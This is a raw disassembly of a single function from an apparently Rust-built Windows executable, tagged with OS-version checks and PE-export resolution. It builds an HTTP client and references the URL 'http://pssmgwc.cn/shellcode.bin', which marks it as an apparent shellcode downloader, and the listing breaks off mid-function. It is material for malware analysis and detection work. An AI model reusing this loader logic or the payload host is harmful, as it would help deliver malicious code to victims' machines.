Function at 0x140001030
Capabilities:
Check os version
Resolve function by parsing pe exports

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xd78
lea rbp, [rsp + 0x80]
movaps xmmword [rbp + 0xce0], xmm8
movaps xmmword [rbp + 0xcd0], xmm7
movdqa xmmword [rbp + 0xcc0], xmm6
mov qword [rbp + 0xcb8], 0xfffffffffffffffe
mov rsi, rcx
movzx eax, byte [0x14016b2a0]
mov rcx, qword [0x14016b208]
test rcx, rcx
jne 0x14000109c
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140004832
mov rcx, rax
mov qword [0x14016b208], rax
mov r8d, 8
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x140004832
mov qword [rbp + 0xb68], rsi
mov qword [rbp + 0x360], 2
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x370], 0
movabs rcx, 0xffff0000ffff
mov qword [rax], rcx
mov rax, qword [rbp + 0x360]
mov qword [rbp + 0x790], rax
mov rax, qword [rbp + 0x368]
mov qword [rbp + 0x798], rax
mov qword [rbp + 0x7a0], 2
lea rcx, [rbp + 0x790]
call fcn.1400b98e0
mov rsi, rax
mov rdi, rdx
movzx eax, byte [0x14016b2a0]
mov rcx, qword [0x14016b208]
test rcx, rcx
jne 0x140001148
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140004811
mov rcx, rax
mov qword [0x14016b208], rax
mov r8d, 0xd0
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x140004811
mov word [rbp + 0x3b8], 1
mov qword [rbp + 0x3a8], rsi
mov qword [rbp + 0x3b0], rdi
mov qword [rbp + 0x378], 2
mov qword [rbp + 0x380], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x388], xmm0
mov qword [rbp + 0x398], 8
mov qword [rbp + 0x3a0], 0
mov qword [rbp + 0x360], 0
movaps xmmword [rbp + 0x110], xmm0
movaps xmmword [rbp + 0x100], xmm0
lea rax, [0x14012c728]
mov qword [rbp + 0x790], rax
lea rax, [0x14012c968]
mov qword [rbp + 0x798], rax
mov qword [rbp + 0x7a0], 3
mov qword [rbp + 0x7a8], 0
mov byte [rbp + 0x7b0], 0
lea rcx, [rbp + 0x990]
lea rdx, [rbp + 0x360]
lea r8, [rbp + 0x100]
lea r9, [rbp + 0x790]
call fcn.140080eb0
cmp byte [rbp + 0x9b0], 2
je 0x140001242
lea rcx, [rbp + 0x9a8]
mov rax, qword [rbp + 0x990]
mov rdx, qword [rbp + 0x998]
mov r8, qword [rbp + 0x9a0]
call qword [rax + 0x10]
mov eax, dword [0x14016b2a4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp byte [rax + 0x60], 0
jne 0x140001263
call fcn.140019960
mov eax, dword [0x14016b2a4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r13, qword [rax + 0x68]
mov r14, qword [rax + 0x70]
lea rcx, [r13 + 1]
mov qword [rax + 0x68], rcx
movups xmm0, xmmword [rbp + 0x360]
movups xmm1, xmmword [rbp + 0x370]
movups xmm2, xmmword [rbp + 0x380]
movups xmm3, xmmword [rbp + 0x390]
movaps xmmword [rbp + 0x990], xmm0
movaps xmmword [rbp + 0x9a0], xmm1
movaps xmmword [rbp + 0x9b0], xmm2
movaps xmmword [rbp + 0x9c0], xmm3
movups xmm0, xmmword [rbp + 0x3a0]
movaps xmmword [rbp + 0x9d0], xmm0
movups xmm0, xmmword [rbp + 0x3b0]
movaps xmmword [rbp + 0x9e0], xmm0
movups xmm0, xmmword [0x140139960]
movups xmmword [rbp + 0x794], xmm0
movdqu xmm0, xmmword [0x140139970]
movdqu xmmword [rbp + 0x7a4], xmm0
pxor xmm0, xmm0
movdqa xmmword [rbp + 0xc20], xmm0
movdqu xmm1, xmmword [rbp + 0x790]
movups xmm2, xmmword [rbp + 0x7a0]
movdqa xmmword [rbp + 0x900], xmm1
movaps xmmword [rbp + 0x910], xmm2
mov eax, dword [rbp + 0x7b0]
mov dword [rbp + 0x920], eax
movdqa xmmword [rbp + 0xb10], xmm0
movzx eax, byte [0x14016b2a0]
mov rcx, qword [0x14016b208]
test rcx, rcx
jne 0x14000136b
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140004802
mov rcx, rax
mov qword [0x14016b208], rax
mov r8d, 0x2320
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x140004802
mov rsi, rax
pxor xmm0, xmm0
movdqu xmmword [rax + 0x2310], xmm0
movdqu xmmword [rax + 0x2300], xmm0
movzx eax, byte [0x14016b2a0]
mov rcx, qword [0x14016b208]
test rcx, rcx
jne 0x1400013c4
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140004841
mov rcx, rax
mov qword [0x14016b208], rax
mov r8d, 0x280
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x140004841
mov rdi, rax
and rdi, 0xffffffffffffff80
mov qword [rdi + 0x78], rax
mov qword [rdi + 0x80], 1
mov qword [rdi + 0x88], 1
movaps xmm0, xmmword [rbp + 0x360]
movaps xmm1, xmmword [rbp + 0x370]
movaps xmm2, xmmword [rbp + 0x380]
movaps xmm3, xmmword [rbp + 0x390]
movaps xmmword [rdi + 0x90], xmm0
movaps xmmword [rdi + 0xa0], xmm1
movaps xmmword [rdi + 0xb0], xmm2
movaps xmmword [rdi + 0xc0], xmm3
movaps xmm0, xmmword [rbp + 0x3a0]
movaps xmmword [rdi + 0xd0], xmm0
movaps xmm0, xmmword [rbp + 0x3b0]
movaps xmmword [rdi + 0xe0], xmm0
movaps xmm0, xmmword [rbp + 0x3c0]
movaps xmmword [rdi + 0xf0], xmm0
mov qword [rdi + 0x100], rsi
mov qword [rdi + 0x108], 0
movaps xmm0, xmmword [rbp + 0x790]
movdqa xmm1, xmmword [rbp + 0x7a0]
movaps xmm2, xmmword [rbp + 0x7b0]
movaps xmm3, xmmword [rbp + 0x7c0]
movaps xmmword [rdi + 0x110], xmm0
movdqa xmmword [rdi + 0x120], xmm1
movaps xmmword [rdi + 0x130], xmm2
movaps xmmword [rdi + 0x140], xmm3
movaps xmm0, xmmword [rbp + 0x7d0]
movaps xmmword [rdi + 0x150], xmm0
movaps xmm0, xmmword [rbp + 0x7e0]
movaps xmmword [rdi + 0x160], xmm0
movdqa xmm0, xmmword [rbp + 0x7f0]
movdqa xmmword [rdi + 0x170], xmm0
mov qword [rdi + 0x180], 0
mov qword [rdi + 0x190], 0
mov qword [rdi + 0x200], rsi
mov qword [rdi + 0x208], rsi
mov qword [rdi + 0x210], 0
mov byte [rdi + 0x218], 0
mov qword [rdi + 0x220], 0
mov byte [rdi + 0x228], 0
pxor xmm0, xmm0
movdqa xmmword [rdi + 0x240], xmm0
movdqa xmmword [rdi + 0x230], xmm0
mov qword [rdi + 0x250], 1
lock inc qword [rdi + 0x80]
jle case.0x140005b96.2
movzx eax, byte [0x14016b2a0]
mov rcx, qword [0x14016b208]
test rcx, rcx
jne 0x140001576
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140004850
mov rcx, rax
mov qword [0x14016b208], rax
mov r8d, 0x48
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x140004850
mov rbx, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], 0
mov qword [rax + 0x40], 0
lock inc qword [rax]
jle case.0x140005b96.2
movzx eax, byte [0x14016b2a0]
mov rcx, qword [0x14016b208]
test rcx, rcx
jne 0x1400015e4
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14000485f
mov rcx, rax
mov qword [0x14016b208], rax
mov r8d, 0x1d
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x14000485f
mov r15, rax
mov r12, rax
movups xmm0, xmmword [0x14012bb55]
movups xmmword [r15 + 0xd], xmm0
movups xmm0, xmmword [str.reqwest_internal_sync_runtime]
movups xmmword [r15], xmm0
movaps xmm0, xmmword [rbp + 0x990]
movaps xmm1, xmmword [rbp + 0x9a0]
movaps xmm2, xmmword [rbp + 0x9b0]
movaps xmm3, xmmword [rbp + 0x9c0]
movaps xmmword [rbp + 0x360], xmm0
movaps xmmword [rbp + 0x370], xmm1
movaps xmmword [rbp + 0x380], xmm2
movaps xmmword [rbp + 0x390], xmm3
movaps xmm0, xmmword [rbp + 0x9d0]
movaps xmmword [rbp + 0x3a0], xmm0
movaps xmm0, xmmword [rbp + 0x9e0]
movaps xmmword [rbp + 0x3b0], xmm0
movaps xmm0, xmmword [rbp + 0xc20]
movaps xmmword [rbp + 0x200], xmm0
mov eax, dword [rbp + 0xaf4]
mov dword [rbp + 0xc00], eax
mov rax, qword [rbp + 0xaec]
mov qword [rbp + 0xbf8], rax
mov eax, dword [rbp + 0xb00]
mov dword [rbp + 0xba8], eax
mov rax, qword [rbp + 0xaf8]
mov qword [rbp + 0xba0], rax
mov eax, dword [rbp + 0x294]
mov dword [rbp + 0xb38], eax
mov rax, qword [rbp + 0x28c]
mov qword [rbp + 0xb30], rax
mov eax, dword [rbp + 0x2a0]
mov dword [rbp + 0xb48], eax
mov rax, qword [rbp + 0x298]
mov qword [rbp + 0xb40], rax
mov eax, dword [rbp + 0x2ac]
mov dword [rbp + 0xb88], eax
mov rax, qword [rbp + 0x2a4]
mov qword [rbp + 0xb80], rax
mov eax, dword [rbp + 0x920]
mov dword [rbp + 0x120], eax
movaps xmm0, xmmword [rbp + 0x900]
movdqa xmm1, xmmword [rbp + 0x910]
movdqa xmmword [rbp + 0x110], xmm1
movaps xmmword [rbp + 0x100], xmm0
movaps xmm0, xmmword [rbp + 0xb10]
movaps xmmword [rbp + 0xbd0], xmm0
movdqu xmm0, xmmword [rbp + 0xb50]
movdqa xmmword [rbp + 0xbb0], xmm0
movzx eax, byte [rbp + 0xb7f]
mov byte [rbp + 0xc7a], al
movzx eax, word [rbp + 0xb7d]
mov word [rbp + 0xc78], ax
call fcn.1400dcaa0
mov rsi, rax
lea rcx, [r15 + 7]
and rcx, 0xfffffffffffffff8
xor eax, eax
sub rcx, r15
je 0x140001796
je 0x140001796
xor eax, eax
nop dword [rax]
cmp byte [r12 + rax], 0
je 0x14000471d
inc rax
cmp rcx, rax
jne 0x140001780
mov rax, rcx
mov qword [rbp + 0xca8], r14
lea r14, [rdi + 0x80]
add rdi, 0x250
mov rcx, rax
or rcx, 0x10
movdqu xmm0, xmmword [r12 + rax]
movdqa xmm1, xmmword [0x140102580]
paddq xmm1, xmm0
pandn xmm0, xmm1
pshufd xmm1, xmm0, 0xee
por xmm1, xmm0
movq rdx, xmm1
movabs r8, 0x8080808080808080
test rdx, r8
cmovne rcx, rax
add r15, rcx
mov edx, 0x1d
sub rdx, rcx
xor eax, eax
nop word cs:[rax + rax]
cmp byte [r15 + rax], 0
je 0x14000471a
inc rax
cmp rdx, rax
jne 0x140001800
mov qword [rbp + 0x790], 0x1d
mov qword [rbp + 0x798], r12
mov qword [rbp + 0x7a0], 0x1d
lea rcx, [rbp + 0x790]
call fcn.140006460
mov rcx, rax
call fcn.1400d33d0
lock inc qword [rax]
jle case.0x140005b96.2
mov qword [rbp + 0xc98], rax
movzx eax, byte [0x14016b2a0]
mov rcx, qword [0x14016b208]
test rcx, rcx
jne 0x140001881
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140004a4d
mov rcx, rax
mov qword [0x14016b208], rax
mov r8d, 0x30
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x140004a4d
mov r12, rax
mov qword [rax], 1
mov qword [rax + 8], 1
pxor xmm0, xmm0
movdqu xmmword [rax + 0x10], xmm0
mov qword [rbp + 0x8e8], rax
lock inc qword [rax]
jle case.0x140005b96.2
movzx eax, byte [0x14016b160]
test al, al
mov qword [rbp + 0xc88], r13
je 0x14000195a
mov byte [0x14016b160], 1
mov eax, dword [0x14016b2a4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x48], 0
je 0x140001906
lea rax, [rax + 0x50]
jmp 0x140001914
call fcn.1400dbde0
test rax, rax
je 0x14000492d
mov r15, qword [rax]
mov qword [rax], 0
test r15, r15
je 0x14000195a
lock inc qword [r15]
jle case.0x140005b96.2
mov byte [0x14016b160], 1
mov eax, dword [0x14016b2a4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x48], 0
je 0x140001997
lea rax, [rax + 0x50]
jmp 0x1400019b3
movzx eax, byte [0x14016b160]
test al, al
je 0x140001992
mov byte [0x14016b160], 1
mov eax, dword [0x14016b2a4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
cmp qword [rax + 0x48], 0
je 0x1400019c0
lea rax, [rax + 0x50]
jmp 0x1400019ce
xor r15d, r15d
jmp 0x1400019eb
mov qword [rbp + 0xca0], r15
call fcn.1400dbde0
test rax, rax
mov r15, qword [rbp + 0xca0]
je 0x14000491b
mov rcx, qword [rax]
mov qword [rax], r15
test rcx, rcx
jne 0x1400019e0
jmp 0x1400019eb
call fcn.1400dbde0
test rax, rax
je 0x14000492d
mov rcx, qword [rax]
mov qword [rax], 0
xor r15d, r15d
test rcx, rcx
je 0x1400019eb
lock dec qword [rcx]
jne 0x1400019eb
call fcn.1400441f0
mov r13, qword [rbp + 0x8e8]
mov rcx, qword [r13 + 0x10]
test rcx, rcx
je 0x140001a06
lock inc qword [rcx + 0x18]
jle 0x14000487d
mov qword [rbp + 0xca0], rsi
movzx eax, byte [0x14016b2a0]
mov rcx, qword [0x14016b208]
test rcx, rcx
jne 0x140001a39
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x14000486e
mov rcx, rax
mov qword [0x14016b208], rax
mov r8d, 0x1c0
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x14000486e
mov rsi, qword [rbp + 0xc98]
mov qword [rax], rsi
mov qword [rax + 8], r12
mov qword [rax + 0x10], r15
movaps xmm0, xmmword [rbp + 0x360]
movaps xmm1, xmmword [rbp + 0x370]
movaps xmm2, xmmword [rbp + 0x380]
movaps xmm3, xmmword [rbp + 0x390]
movups xmmword [rax + 0x18], xmm0
movups xmmword [rax + 0x28], xmm1
movups xmmword [rax + 0x38], xmm2
movups xmmword [rax + 0x48], xmm3
movaps xmm0, xmmword [rbp + 0x3a0]
movups xmmword [rax + 0x58], xmm0
movaps xmm0, xmmword [rbp + 0x3b0]
movups xmmword [rax + 0x68], xmm0
mov qword [rax + 0x78], 1
mov qword [rax + 0x80], 0xa
xorps xmm0, xmm0
movups xmmword [rax + 0x88], xmm0
mov qword [rax + 0x98], 8
movaps xmm0, xmmword [rbp + 0x200]
movups xmmword [rax + 0xa0], xmm0
mov qword [rax + 0xb0], 8
mov qword [rax + 0xb8], 0
mov dword [rax + 0xc0], 0
mov dword [rax + 0xc8], 0
mov dword [rax + 0xd0], 0
mov rcx, qword [rbp + 0xbf8]
mov qword [rax + 0xd4], rcx
mov ecx, dword [rbp + 0xc00]
mov dword [rax + 0xdc], ecx
mov dword [rax + 0xe0], 0x3b9aca00
mov qword [rax + 0xe8], 0x5a
mov dword [rax + 0xf0], 0
mov ecx, dword [rbp + 0xba8]
mov dword [rax + 0xfc], ecx
mov rcx, qword [rbp + 0xba0]
mov qword [rax + 0xf4], rcx
mov dword [rax + 0x100], 0x3b9aca00
mov ecx, dword [rbp + 0xb38]
mov dword [rax + 0x10c], ecx
mov rcx, qword [rbp + 0xb30]
mov qword [rax + 0x104], rcx
mov dword [rax + 0x110], 0x3b9aca00
mov ecx, dword [rbp + 0xb48]
mov dword [rax + 0x11c], ecx
mov rcx, qword [rbp + 0xb40]
mov qword [rax + 0x114], rcx
mov dword [rax + 0x120], 0x3b9aca00
mov ecx, dword [rbp + 0xb88]
mov dword [rax + 0x12c], ecx
mov rcx, qword [rbp + 0xb80]
mov qword [rax + 0x124], rcx
mov dword [rax + 0x130], 0x3b9aca00
mov ecx, dword [rbp + 0x120]
mov dword [rax + 0x154], ecx
movaps xmm0, xmmword [rbp + 0x100]
movdqa xmm1, xmmword [rbp + 0x110]
movdqu xmmword [rax + 0x144], xmm1
movups xmmword [rax + 0x134], xmm0
mov rcx, qword [rbp + 0xc88]
mov qword [rax + 0x158], rcx
mov rcx, qword [rbp + 0xca8]
mov qword [rax + 0x160], rcx
mov qword [rax + 0x168], 0xffffffffffffffff
movaps xmm0, xmmword [rbp + 0xbd0]
movups xmmword [rax + 0x170], xmm0
mov dword [rax + 0x188], 0x1000101
mov word [rax + 0x18c], 0x101
mov qword [rax + 0x18e], 0
mov dword [rax + 0x196], 0x2000001
mov byte [rax + 0x19a], 2
movdqa xmm0, xmmword [rbp + 0xbb0]
movdqu xmmword [rax + 0x19b], xmm0
mov word [rax + 0x1ab], 0x404
movzx ecx, byte [rbp + 0xc7a]
mov byte [rax + 0x1af], cl
movzx ecx, word [rbp + 0xc78]
mov word [rax + 0x1ad], cx
mov qword [rax + 0x1b0], r14
mov qword [rax + 0x1b8], rbx
lea r8, [0x14012de40]
mov rcx, qword [rbp + 0xca0]
mov rdx, rax
call fcn.1400dcc00
mov r15, rdx
test rax, rax
je 0x140001d39
lock dec qword [r13]
jne 0x140001cd7
lea rcx, [rbp + 0x8e8]
call fcn.1400432f0
mov rcx, qword [rbp + 0xc98]
lock dec qword [rcx]
jne 0x140001ce9
call fcn.14002b2e0
mov rcx, r15
call fcn.14009e270
mov r13, rax
mov rax, qword [rbx + 0x40]
nop dword [rax + rax]
mov rcx, rax
or rcx, 4
lock cmpxchg qword [rbx + 0x40], rcx
jne 0x140001d00
and eax, 0xa
cmp eax, 8
jne 0x140001d22
mov rax, qword [rbx + 0x20]
mov rcx, qword [rbx + 0x28]
call qword [rax + 0x10]
lock dec qword [rbx]
jne 0x140002081
mov rcx, rbx
call fcn.140043af0
jmp 0x140002081
mov qword [rbp + 0x2d0], rsi
mov qword [rbp + 0x2d8], r13
mov qword [rbp + 0x2e0], r15
call fcn.1400d3e20
test rax, rax
je 0x1400048ce
mov r13, rax
mov qword [rbp + 0xca8], r15
movzx eax, byte [0x14016b2a0]
mov rcx, qword [0x14016b208]
test rcx, rcx
jne 0x140001d92
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140005a27
mov rcx, rax
mov qword [0x14016b208], rax
mov r8d, 0x18
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x140005a27
mov r12, rax
mov qword [r12], 1
mov qword [r12 + 8], 1
add r12, 0x10
mov qword [rax + 0x10], r13
lea r13, [0x1400e8270]
jmp 0x140001ddd
mov rcx, r12
call fcn.1400a7930
call fcn.1400d3c30
mov eax, dword [0x14016b2a4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xd8]
cmp eax, 1
je 0x140001e2d
test eax, eax
jne 0x140001ea0
mov eax, dword [0x14016b2a4]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0x88]
mov rdx, r13
call fcn.1400d3ac0
mov byte [rsi + 0xd8], 1
mov eax, dword [0x14016b2a4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx r15d, byte [rax + 0xd4]
movzx esi, byte [rax + 0xd5]
test r15b, r15b
je 0x140001e5d
test sil, sil
je 0x140001dd0
mov eax, esi
sub al, 1
movzx eax, al
mov ecx, 0
cmovb eax, ecx
test r15b, r15b
movzx ecx, sil
cmovne ecx, eax
mov eax, dword [0x14016b2a4]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
mov byte [rax + 0xd5], cl
mov rax, qword [rbx + 0x40]
test al, 2
je 0x140001eb1
jmp 0x140002002
xor r15d, r15d
xor esi, esi
mov rax, qword [rbx + 0x40]
test al, 2
jne 0x140002002
test al, 4
jne 0x14000478d
test al, 1
jne 0x140001ed0
test al, 1
je 0x140001f42
jmp 0x140001f77
cmp r12, qword [rbx + 0x38]
jne 0x140001f10
mov rcx, qword [rbx + 0x30]
lea rdx, [fcn.1400a7910]
cmp qword [rcx], rdx
jne 0x140001f10
lea rdx, [0x1400a77e0]
cmp qword [rcx + 8], rdx
jne 0x140001f10
lea rdx, [fcn.1400a7930]
cmp qword [rcx + 0x10], rdx
jne 0x140001f10
lea rdx, [fcn.1400a77b0]
cmp qword [rcx + 0x18], rdx
je 0x140001ebd
nop dword [rax]
mov rax, qword [rbx + 0x40]
nop word cs:[rax + rax]
mov rcx, rax
and rcx, 0xfffffffffffffffe
lock cmpxchg qword [rbx + 0x40], rcx
jne 0x140001f20
test al, 2
jne 0x140001ffc
mov rax, qword [rbx + 0x30]
mov rcx, qword [rbx + 0x38]
call qword [rax + 0x18]
mov rcx, r12
call fcn.1400a7910
mov qword [rbx + 0x30], rax
mov qword [rbx + 0x38], rdx
mov rax, qword [rbx + 0x40]
nop word cs:[rax + rax]
mov rcx, rax
or rcx, 1
lock cmpxchg qword [rbx + 0x40], rcx
jne 0x140001f60
test al, 2
jne 0x140002002
test r15b, r15b
je 0x140001dd8
mov eax, dword [0x14016b2a4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xd8]
cmp eax, 1
je 0x140001fd1
test eax, eax
jne 0x140001dd8
mov eax, dword [0x14016b2a4]
mov rcx, qword gs:[0x58]
mov r15, qword [rcx + rax*8]
lea rcx, [r15 + 0x88]
mov rdx, r13
call fcn.1400d3ac0
mov byte [r15 + 0xd8], 1
mov eax, dword [0x14016b2a4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0xd4], 1
mov byte [rax + 0xd5], sil
call fcn.1400d3c30
jmp 0x140001ddd
lock or qword [rbx + 0x40], 1
mov rax, qword [rbx + 0x10]
mov r13, qword [rbx + 0x18]
mov qword [rbx + 0x10], 0
xor rax, 1
dec rax
cmp rax, 2
jb 0x14000478d
lock dec qword [rbx]
jne 0x140002031
mov rcx, rbx
call fcn.140043af0
mov rcx, r12
call fcn.1400a77b0
test r13, r13
je 0x14000211f
mov rcx, qword [rbp + 0xca8]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov rax, qword [rbp + 0xc98]
lock dec qword [rax]
jne 0x140002068
mov rcx, qword [rbp + 0x2d0]
call fcn.14002b2e0
mov rax, qword [rbp + 0x2d8]
lock dec qword [rax]
jne 0x140002081
lea rcx, [rbp + 0x2d8]
call fcn.1400432f0
lock dec qword [rdi]
jne 0x1400020e1
lea rcx, [r14 + 0x80]
call fcn.14007f700
mov rax, qword [r14 + 0x110]
nop word [rax + rax]
mov rcx, rax
or rcx, 2
lock cmpxchg qword [r14 + 0x110], rcx
jne 0x1400020a0
test rax, rax
jne 0x1400020e1
mov rax, qword [r14 + 0x100]
mov rcx, qword [r14 + 0x108]
mov qword [r14 + 0x100], 0
lock and qword [r14 + 0x110], 0xfffffffffffffffd
test rax, rax
je 0x1400020e1
call qword [rax + 8]
lock dec qword [r14]
mov eax, 0x3b9aca01
movd xmm6, eax
jne 0x1400020f8
mov rcx, r14
call fcn.140043710
movd esi, xmm6
cmp esi, 0x3b9aca01
jne 0x1400021a3
mov rax, qword [rbp + 0xb68]
mov qword [rax + 8], r13
mov qword [rax], 3
jmp 0x140006056
movzx eax, byte [0x14016b2a0]
mov rcx, qword [0x14016b208]
test rcx, rcx
jne 0x14000214b
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140004a4d
mov rcx, rax
mov qword [0x14016b208], rax
mov r8d, 0x30
xor edx, edx
call sub.kernel32.dll_HeapAlloc
test rax, rax
je 0x140004a4d
mov r13, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], r14
movdqu xmm0, xmmword [rbp + 0x2d0]
movdqu xmmword [rax + 0x18], xmm0
mov rax, qword [rbp + 0x2e0]
mov qword [r13 + 0x28], rax
pxor xmm6, xmm6
movd esi, xmm6
cmp esi, 0x3b9aca01
je 0x140002108
mov qword [rbp + 0x2b0], r13
mov qword [rbp + 0x2b8], 0x1e
movq qword [rbp + 0x2c0], xmm6
lea rdx, str.http:__pssmgwc.cn_shellcode.binsrcmain.rs
lea rcx, [rbp + 0x790]
mov r8d, 0x1f
call fcn.14005b940
mov rax, qword [rbp + 0x790]
movabs r12, 0x8000000000000000
cmp rax, r12
jne 0x1400021fd
mov ecx, 2
mov rdx, qword [rbp + 0x798]
jmp 0x1400022cd
pxor xmm0, xmm0
movdqa xmmword [rbp + 0xba0], xmm0
movups xmm1, xmmword [rbp + 0x790]
movups xmm2, xmmword [rbp + 0x7a0]
movups xmm3, xmmword [rbp + 0x7b0]
movups xmm4, xmmword [rbp + 0x7c0]
movups xmmword [rbp + 0x366], xmm1
movups xmmword [rbp + 0x376], xmm2
movups xmmword [rbp + 0x386], xmm3
movups xmmword [rbp + 0x396], xmm4
movdqu xmm1, xmmword [rbp + 0x7d0]
movdqu xmmword [rbp + 0x3a6], xmm1
mov rcx, qword [rbp + 0x7e0]
mov qword [rbp + 0x3b6], rcx
movdqa xmmword [rbp + 0xb30], xmm0
movups xmm0, xmmword [rbp + 0x360]
movaps xmmword [rbp + 0x100], xmm0
movups xmm0, xmmword [rbp + 0x370]
movaps xmmword [rbp + 0x110], xmm0
movups xmm0, xmmword [rbp + 0x380]
movaps xmmword [rbp + 0x120], xmm0
movups xmm0, xmmword [rbp + 0x390]
movaps xmmword [rbp + 0x130], xmm0
movdqu xmm0, xmmword [rbp + 0x3a0]
movdqa xmmword [rbp + 0x140], xmm0
mov rcx, qword [rbp + 0x3ae]
mov qword [rbp + 0x14e], rcx
mov rcx, qword [rbp + 0x3b6]
mov qword [rbp + 0x156], rcx
xor ecx, ecx
lock inc qword [r13]
jle case.0x140005b96.2
mov qword [rbp + 0xac8], r13
mov qword [rbp + 0xad0], 0x1e
mov dword [rbp + 0xad8], esi
mov qword [rbp + 0x990], rcx
mov qword [rbp + 0x998], rdx
movups xmm0, xmmword [rbp + 0xb10]
movups xmmword [rbp + 0x9a0], xmm0
mov rcx, qword [rbp + 0xb20]
mov qword [rbp + 0x9b0], rcx
mov qword [rbp + 0x9b8], 0
movups xmm0, xmmword [rbp + 0xbf8]
movups xmmword [rbp + 0x9c0], xmm0
mov qword [rbp + 0x9d0], 0
mov qword [rbp + 0x9d8], 8
movaps xmm0, xmmword [rbp + 0xba0]
movups xmmword [rbp + 0x9e0], xmm0
mov qword [rbp + 0x9f0], 8
mov qword [rbp + 0x9f8], 0
mov qword [rbp + 0xa00], 2
mov qword [rbp + 0xa08], 0
mov word [rbp + 0xa10], 0
movups xmm0, xmmword [rbp + 0x14e]
movups xmmword [rbp + 0xa60], xmm0
movaps xmm0, xmmword [rbp + 0x140]
movups xmmword [rbp + 0xa52], xmm0
movaps xmm0, xmmword [rbp + 0x100]
movaps xmm1, xmmword [rbp + 0x110]
movaps xmm2, xmmword [rbp + 0x120]
movaps xmm3, xmmword [rbp + 0x130]
movups xmmword [rbp + 0xa42], xmm3
movups xmmword [rbp + 0xa32], xmm2
movups xmmword [rbp + 0xa22], xmm1
movups xmmword [rbp + 0xa12], xmm0
mov dword [rbp + 0xa78], 0x3b9aca00
mov byte [rbp + 0xa80], 1
mov dword [rbp + 0xa81], 0
mov dword [rbp + 0xa84], 0
movaps xmm0, xmmword [rbp + 0xb30]
movups xmmword [rbp + 0xa88], xmm0
mov byte [rbp + 0xa98], 2
mov qword [rbp + 0xaa0], 2
movdqu xmm0, xmmword [rbp + 0xbb0]
movdqu xmm1, xmmword [rbp + 0xbc0]
movdqu xmmword [rbp + 0xaa8], xmm0
movdqu xmmword [rbp + 0xab8], xmm1
cmp rax, r12
je 0x140002693
mov r8d, dword [rbp + 0xa44]
mov rcx, qword [rbp + 0xa20]
mov rdx, qword [rbp + 0xa28]
test r8, r8
je 0x14000248b
mov rax, rdx
sub rax, r8
jbe 0x14000249a
cmp byte [rcx + r8], 0xbf
jg 0x14000249c
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov r9, rdx
call fcn.1400fa6e0
mov rax, rdx
cmp rax, 3
jb 0x140002693
jmp 0x1400024a6
jne 0x140002477
cmp rax, 3
jb 0x140002693
movzx eax, word [rcx + r8]
xor eax, 0x2f3a
movzx ecx, byte [rcx + r8 + 2]
xor ecx, 0x2f
or cx, ax
jne 0x140002693
lea rbx, [rbp + 0xa18]
mov rcx, rbx
call fcn.1400edef0
lea r8, [rdx + rax]
lea rcx, [rbp + 0x360]
mov rdx, rax
call fcn.140041a10
mov r13, qword [rbp + 0x360]
movabs rdi, 0x8000000000000001
cmp r13, rdi
je 0x140002693
mov r14, qword [rbp + 0x368]
mov r15, qword [rbp + 0x370]
cmp r13, r12
jne 0x14000257c
test r15, r15
je 0x140002563
js 0x140004916
movzx eax, byte [0x14016b2a0]
mov rcx, qword [0x14016b208]
test rcx, rcx
jne 0x140002544
call qword [sym.imp.kernel32.dll_GetProcessHeap]
test rax, rax
je 0x140002556
mov rcx, rax
mov qword [0x14016b208], rax
xor edx, edx
mov r8, r15
call sub.kernel32.dll_HeapAlloc
mov rsi, rax
test rax, rax
jne 0x140002568
mov ecx, 1
mov rdx, r15
call fcn.1400f9ca0
mov esi, 1
mov rcx, rsi
mov rdx, r14
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov r13, r15
mov r14, rsi
mov rcx, rbx
call fcn.1400edfc0
mov sil, 1
test rax, rax
